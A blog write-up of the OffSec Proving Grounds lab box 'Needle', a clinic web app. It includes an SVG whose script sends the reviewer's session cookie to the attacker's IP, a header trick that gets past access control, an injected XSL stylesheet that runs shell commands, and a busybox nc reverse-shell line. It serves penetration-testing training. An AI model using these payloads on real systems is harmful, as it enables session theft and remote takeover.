Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - NEEDLE

·2329 words·11 mins·
OFFSEC PG PRACTICE HTTP HEADER SVG XSL
Table of Contents

Summary
#

On port 80 there is a web application called Needle Clinic. Abusing the upload function in the contact form with a malicious SVG file in combination with a special HTTP header we get access to the medical dashboard. Within this dashboard we can generate a PDF discharge summary. Abusing the XSL_PATH to inject our own XSL file, we can get RCE on the box.

Specifications
#

  • Name: NEEDLE
  • Platform: PG PRACTICE
  • Points: 15
  • Difficulty: Intermediate
  • System overview: Linux needle 6.8.0-48-generic #48-Ubuntu SMP PREEMPT_DYNAMIC Fri Sep 27 14:04:52 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.226.161
  • OFFSEC provided credentials: None
  • HASH: local.txt:8688b545cb98dedb915b4486f13d07dc
  • HASH: proof.txt:None

Preparation
#

First we’ll create a directory structure for our files and set the IP address to a bash variable and ping the target:

mkdir needle && cd needle && mkdir enum files exploits uploads tools

ls -la
total 28
drwxrwxr-x  7 kali kali 4096 Aug 19 16:27 .
drwxrwxr-x 93 kali kali 4096 Aug 19 16:27 ..
drwxrwxr-x  2 kali kali 4096 Aug 19 16:27 enum
drwxrwxr-x  2 kali kali 4096 Aug 19 16:27 exploits
drwxrwxr-x  2 kali kali 4096 Aug 19 16:27 files
drwxrwxr-x  2 kali kali 4096 Aug 19 16:27 tools
drwxrwxr-x  2 kali kali 4096 Aug 19 16:27 uploads

ip=192.168.226.161

ping 192.168.226.161

PING 192.168.226.161 (192.168.226.161) 56(84) bytes of data.
64 bytes from 192.168.226.161: icmp_seq=1 ttl=61 time=19.9 ms
^C
--- 192.168.226.161 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 19.875/19.875/19.875/0.000 ms

Reconnaissance
#

Portscanning
#

Using the rustscan tool we can see what TCP ports are open.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
I scanned my computer so many times, it thinks we're dating.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.226.161:22
Open 192.168.226.161:80
Open 192.168.226.161:631
[~] Starting Script(s)
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-19 16:30 +0200
Initiating Ping Scan at 16:30
Scanning 192.168.226.161 [4 ports]
Completed Ping Scan at 16:30, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:30
Completed Parallel DNS resolution of 1 host. at 16:30, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:30
Scanning 192.168.226.161 [3 ports]
Discovered open port 631/tcp on 192.168.226.161
Discovered open port 80/tcp on 192.168.226.161
Discovered open port 22/tcp on 192.168.226.161
Completed SYN Stealth Scan at 16:30, 0.04s elapsed (3 total ports)
Nmap scan report for 192.168.226.161
Host is up, received reset ttl 61 (0.023s latency).
Scanned at 2026-08-19 16:30:30 CEST for 0s

PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 61
80/tcp  open  http    syn-ack ttl 61
631/tcp open  ipp     syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (172B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp  open  ssh     syn-ack ttl 61
80/tcp  open  http    syn-ack ttl 61
631/tcp open  ipp     syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80,631

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,631 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT    STATE SERVICE REASON         VERSION
22/tcp  open  ssh     syn-ack ttl 61 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGT2bbuknyDQCZL8wcewIxfJHCT3ZA9MHovHm5vV8gnY+WaklYD1KkExYX16RT7Du6kDkOd7/VtgT8wyumO7X74=
|   256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9T+RtTpSheh2mjfbGIXvNadPVCLuheP1AqmUPx6yic
80/tcp  open  http    syn-ack ttl 61 Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Needle Clinic - Healthcare Excellence
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.58 (Ubuntu)
631/tcp open  ipp     syn-ack ttl 61 CUPS 2.4
|_http-title: Forbidden - CUPS v2.4.12
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: CUPS/2.4 IPP/2.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

On port 80 there is a website called Needle Clinic.

When we use Gobuster to search for PHP files on the server we find dashboard.php we get redirected to the login page (login.php).

gobuster dir -t 100 -u http://$ip:80/ -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -x php | tee enum/gobuster-raft-small-words-raw-80
tee: enum/gobuster-raft-small-words-raw-80: No such file or directory
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.226.161:80/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.html                (Status: 403) [Size: 280]
.html.php            (Status: 403) [Size: 280]
files                (Status: 301) [Size: 318] [--> http://192.168.226.161/files/]
assets               (Status: 301) [Size: 319] [--> http://192.168.226.161/assets/]
login.php            (Status: 200) [Size: 3112]
.                    (Status: 200) [Size: 19382]
.htaccess            (Status: 403) [Size: 280]
process.php          (Status: 302) [Size: 0] [--> contact.php?req=failed#:~:text=Unable%20to%20send%20your%20Feedback.%20Only%20image%20files%20are%20allowed]
dashboard.php        (Status: 302) [Size: 0] [--> login.php]
xsl                  (Status: 301) [Size: 316] [--> http://192.168.226.161/xsl/]
.phtml               (Status: 403) [Size: 280]
.php                 (Status: 403) [Size: 280]

When we click on Contact in the menu, we get to a contact form in which we can upload an image.

When we fill-out the form and upload a random, non image, file, we get this error: Unable to send your Feedback. Only image files (jpg,png,svg,gif,jpeg) are allowed. Since we can upload .svg files we can try to upload a malicious SVG file and see if we can get a callback.

First setup a webserver using my Python script which handles all sorts of HTTP requests. Save the Python script as webserver.py:

import http.server
import socketserver
import sys

class UltimateDebuggingHandler(http.server.BaseHTTPRequestHandler):
    def handle_any_request(self):
        """Processes and logs any incoming HTTP request method."""
        # Print request metadata
        print("\n" + "=" * 60)
        print(f" RECEIVED REQUEST: {self.command} {self.path} {self.request_version}")
        print("=" * 60)
        
        # Print all headers
        print("HEADERS:")
        for key, value in self.headers.items():
            print(f"  {key}: {value}")
        print("-" * 60)
        
        # Read and print the body payload if content is present
        content_length = int(self.headers.get('Content-Length', 0))
        if content_length > 0:
            body_bytes = self.rfile.read(content_length)
            print("BODY CONTENT:")
            try:
                print(body_bytes.decode('utf-8'))
            except UnicodeDecodeError:
                print(f"  [Binary/Non-UTF8 Data: {content_length} bytes]")
        else:
            print("BODY CONTENT:\n  [Empty Body]")
        print("=" * 60 + "\n")

        # Automatically apply robust CORS configurations to prevent cross-origin blocks
        self.send_response(200 if self.command != 'OPTIONS' else 204)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', '*')
        self.send_header('Access-Control-Allow-Headers', '*')
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        
        # Send a response body back to the client for non-preflight requests
        if self.command != 'OPTIONS':
            self.wfile.write(b"Request logged successfully by server.\n")

    # Dynamic fallback hooks for standard HTTP verbs
    def do_GET(self):     self.handle_any_request()
    def do_POST(self):    self.handle_any_request()
    def do_OPTIONS(self): self.handle_any_request()
    def do_PUT(self):     self.handle_any_request()
    def do_DELETE(self):  self.handle_any_request()
    def do_PATCH(self):   self.handle_any_request()
    def do_HEAD(self):    self.handle_any_request()

# Custom server wrapper configured to drop socket assignments instantly on termination
class ReusableTCPServer(socketserver.TCPServer):
    allow_reuse_address = True

if __name__ == '__main__':
    # Determine port from parameters (defaulting to 8000)
    PORT = 8000
    if len(sys.argv) > 1:
        try:
            PORT = int(sys.argv[1])
        except ValueError:
            print(f"CRITICAL: '{sys.argv[1]}' is not a valid port number. Using default: 8000.")

    # Initialize the reusable socket wrapper
    httpd = ReusableTCPServer(("", PORT), UltimateDebuggingHandler)
    print(f"Server actively listening on port {PORT}...")
    print("Press Ctrl+C to terminate and clean up.")

    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\nShutting down server loops...")
    finally:
        # Crucial dual-action routine to prevent port hanging
        httpd.shutdown()      # Breaks active network looping structures
        httpd.server_close()  # Tells the OS to release the socket port immediately
        print("Port successfully released. Ready for instant restart.")

Now start the webserver on port 80 and let’s create an malicious SVG file, based on this one: https://github.com/theemperorspath/xss-via-svg/blob/main/callback.svg. Save the code below as: exp.svg, which when we upload it in the contact form show perhaps get us the cookie of the reviewer.

## start the webserver
python3 webserver.py 80
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200">
    <!-- Visual SVG -->
    <rect width="200" height="200" fill="#7418D6" />

    <!-- Text in the center -->
    <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white">HEKK.ONE</text>

    <!-- XSS Payload: Execute alert on load -->
    <script type="text/javascript">
        fetch('http://192.168.45.182', {
            method: "POST",
            headers: { "Content-Type": "text/plain" },
            body: document.cookie
        });
    </script>
</svg>

Now, let’s upload the .svg file in the contact form.

We indeed get a callback with cookie data within the body content:

Server actively listening on port 80...
Press Ctrl+C to terminate and clean up.

============================================================
 RECEIVED REQUEST: POST / HTTP/1.1
============================================================
HEADERS:
  Host: 192.168.45.182
  Connection: keep-alive
  Content-Length: 53
  User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36
  Content-Type: text/plain
  Accept: */*
  Origin: http://needle.local
  Referer: http://needle.local/
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
------------------------------------------------------------
BODY CONTENT:
PHPSESSID=98796b2c576eqfdfggwe979e0c0f3c790efccasddc8
============================================================

192.168.226.161 - - [19/Aug/2026 19:06:28] "POST / HTTP/1.1" 200 -
^C
Shutting down server loops...
Port successfully released. Ready for instant restart.

When we paste in the browser this cookie (using F12) and revisit the file dashboard.php, we get a 403 Forbidden reply and not get redirected to the login page.

To solve this part is not intuitive. we need to make use of a special HTTP header (see: https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/special-http-headers.html). Now is that not really weird, however the default Seclist uppercase header wordlist (https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/uppercase-headers) needs to be altered to make this work from - to _.

cd files

## copy the uppercase header
cp /opt/SecLists/Discovery/Web-Content/BurpSuite-ParamMiner/uppercase-headers .

## replace all - with _
sed -i 's/-/_/g' uppercase-headers

Now send the request to the dashboard.php through BURP or CAIDO (in this example used). Once intercepted, send it to Automate, now add a placeholder header in the request, like so: x: 127.0.0.1, press + and load the uppercase-headers. Now click Run.

Now we see that access is granted with a 200 OK.

Now set CAIDO to Queuing (intercept), refresh the dashboard.php in the browser, intercept and add the header X_ORIGINATING_IP: 127.0.0.1 in the request and forward the request. Finally we have access to the medical dashboard.

As shown we are able to download a PDF report. Filling out the discharge summary and click on Download PDF Report and intercept the request in CAIDO, we see there is a xsl_path=discharge_summary.xsl xsl path defined in addition to our input.

When we run Gobuster we also saw a http://192.168.226.161/xsl/ directory. The access is forbidden to the XSL directory, however, when we add the filename, the file is downloaded.

This is the content of the downloaded file: http://192.168.226.161/xsl/discharge_summary.xsl.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

    <xsl:template match="/">
        <html>
            <head>
                <title>Discharge Summary</title>
                <style>
                    body {
                        font-family: Arial, sans-serif;
                        margin: 20px;
                    }
                    h1 {
                        color: #2c3e50;
                    }
                    .patient-details {
                        border: 1px solid #ccc;
                        padding: 10px;
                        margin: 20px 0;
                    }
                    .patient-details h2 {
                        color: #16a085;
                    }
                    .patient-details p {
                        font-size: 14px;
                        line-height: 1.6;
                    }
                </style>
            </head>
            <body>
                <h1>Patient Discharge Summary</h1>

                <div class="patient-details">
                    <h2>Patient Information</h2>
                    <p><strong>Name:</strong> <xsl:value-of select="patient/name" /></p>
                    <p><strong>Diagnosis:</strong> <xsl:value-of select="patient/diagnosis" /></p>
                    <p><strong>Treatment:</strong> <xsl:value-of select="patient/treatment" /></p>
                </div>

                <div>
                    <p><strong>Note:</strong> This is an automated discharge summary. For any queries, please contact the hospital administration.</p>
                </div>
            </body>
        </html>
    </xsl:template>

</xsl:stylesheet>

Within the request with the XSL_PATH parameter, we can change the POST request to: xsl_path=http://192.168.45.182/rce.xsl&name=test&diagnosis=test&treatment=test to see if we can let it use our own XSL file.

## start python webserver
python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## output
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.226.161 - - [19/Aug/2026 20:40:13] code 404, message File not found
192.168.226.161 - - [19/Aug/2026 20:40:13] "GET /rce.xsl HTTP/1.1" 404 -

Indeed we can. Since we don’t have created rce.xsl yet, lets create it. Using (https://hacktricks.wiki/en/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.html#internal---php) hacktricks we can get RCE using this XSL code when we change the XSL:stylesheet and add <xsl:value-of select="php:function('shell_exec','ls -la /')" />, ex. get the output of the ls -la / command:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">

    <xsl:template match="/">
        <html>
            <head>
                <title>Discharge Summary</title>
                <style>
                    body {
                        font-family: Arial, sans-serif;
                        margin: 20px;
                    }
                    h1 {
                        color: #2c3e50;
                    }
                    .patient-details {
                        border: 1px solid #ccc;
                        padding: 10px;
                        margin: 20px 0;
                    }
                    .patient-details h2 {
                        color: #16a085;
                    }
                    .patient-details p {
                        font-size: 14px;
                        line-height: 1.6;
                    }
                </style>
            </head>
            <body>
                <h1>Patient Discharge Summary</h1>

                <div class="patient-details">
                    <h2>Patient Information</h2>
                    <p><strong>Name:</strong> <xsl:value-of select="patient/name" /></p>
                    <p><strong>Diagnosis:</strong> <xsl:value-of select="patient/diagnosis" /></p>
                    <p><strong>Treatment:</strong> <xsl:value-of select="patient/treatment" /></p>
                </div>

                <div>
                    <p><strong>Note:</strong> This is an automated discharge summary. For any queries, please contact the hospital administration.</p>
                </div>
                <xsl:value-of select="php:function('shell_exec','ls -la /')" />
            </body>
        </html>
    </xsl:template>

</xsl:stylesheet>

Restart the python webserver and change the intercepted Download PDF Report request to get our XSL file.

## start python webserver
python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Now forward the request and indeed we get the PDF as expected with the command execution result.

To get initial access change the command in the rce.xsl with this: <xsl:value-of select="php:function('shell_exec','busybox nc 192.168.45.182 9001 -e bash')" />. First we need to setup a listener.

nc -lvnp 9001
listening on [any] 9001 ...

Now setup the Python webserver, intercept the request again as we just did, change to our local rce.xsl file and forward the request. Now we have our initial access.

## catch the reverse shell
listening on [any] 9001 ...
connect to [192.168.45.182] from (UNKNOWN) [192.168.226.161] 37356

## run whoami
whoami
mike

## find local.txt
find / -iname 'local.txt' 2>/dev/null
/home/mike/local.txt

## print local.txt
cat /home/mike/local.txt
8688b545cb98dedb915b4486f13d07dc

Privilege Escalation
#

No privilege escalation is needed to complete this box.

References
#

[+] https://github.com/theemperorspath/xss-via-svg/blob/main/callback.svg
[+] https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/special-http-headers.html
[+] https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/uppercase-headers
[+] https://hacktricks.wiki/en/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.html#internal---php

Related

OFFSEC - Proving Grounds - MEDITRACK
·2059 words·10 mins
OFFSEC PG PRACTICE SQLITE GITEA FLASK PICKLE CVE-2026-41651
SQLi on port 9000 dumps creds. Crack meditrackDev for Gitea access. Find Flask secret to forge admin cookie, then import snapshot for Pickle RCE. Escalate to root via CVE-2026-41651.
OFFSEC - Proving Grounds - VANITY
·2106 words·10 mins
OFFSEC PG PRACTICE RSYNC NMAP COMMAND INJECTION
Rsync on 873 shares web application source code, using cmd injection gains initial access. Abuse rsync cronjob with -e option to get root.
OFFSEC - Proving Grounds - POSTFISH
·3193 words·15 mins
OFFSEC PG PRACTICE SMTP-USER-ENUM USERNAME_GENERATOR HYDRA IMAP IMAPS SENDEMAIL PWNKIT
Website PostFish on port 80 and SMTP on port 25 reveal usernames. Hydra finds credentials, sending an email with a reset link grants brian access. Pwnkit (CVE-2021-4034) escalates to root.
OFFSEC - Proving Grounds - RUSSIANDOLLS
·2291 words·11 mins
OFFSEC PG PRACTICE PATH TRAVERSAL NXC SUDO 1.9.14-17 CVE-2025-32463
On port 8080 the website loads images via local http URLs, found open port 4242 with FILE VIEWER app. Path traversal exposes passwords and allows access via SSH. sudo v1.9.15 exploited for root access using CVE-2025-32463 chroot escalation.
OFFSEC - Proving Grounds - DEVELOP
·4146 words·20 mins
OFFSEC PG PRACTICE GIT TCPDUMP COMMAND INJECTION IFS PYTHON WEBSERVER POST PWNKIT
Access Git repository on port 80 for credentials, login application on port 8080 and use command injection to retrieve a SSH key. Exploit CVE-2021-4034 to become root.
OFFSEC - Proving Grounds - PASSPORT
·2987 words·15 mins
OFFSEC PG PRACTICE FEROXBUSTER SSH2JOHN JOHN TMUX
Access website on port 80, extract credentials, log into FTP. Crack Luigi’s SSH key and gain initial access. Move laterally to luca and attach to a root tmux session for privilege escalation.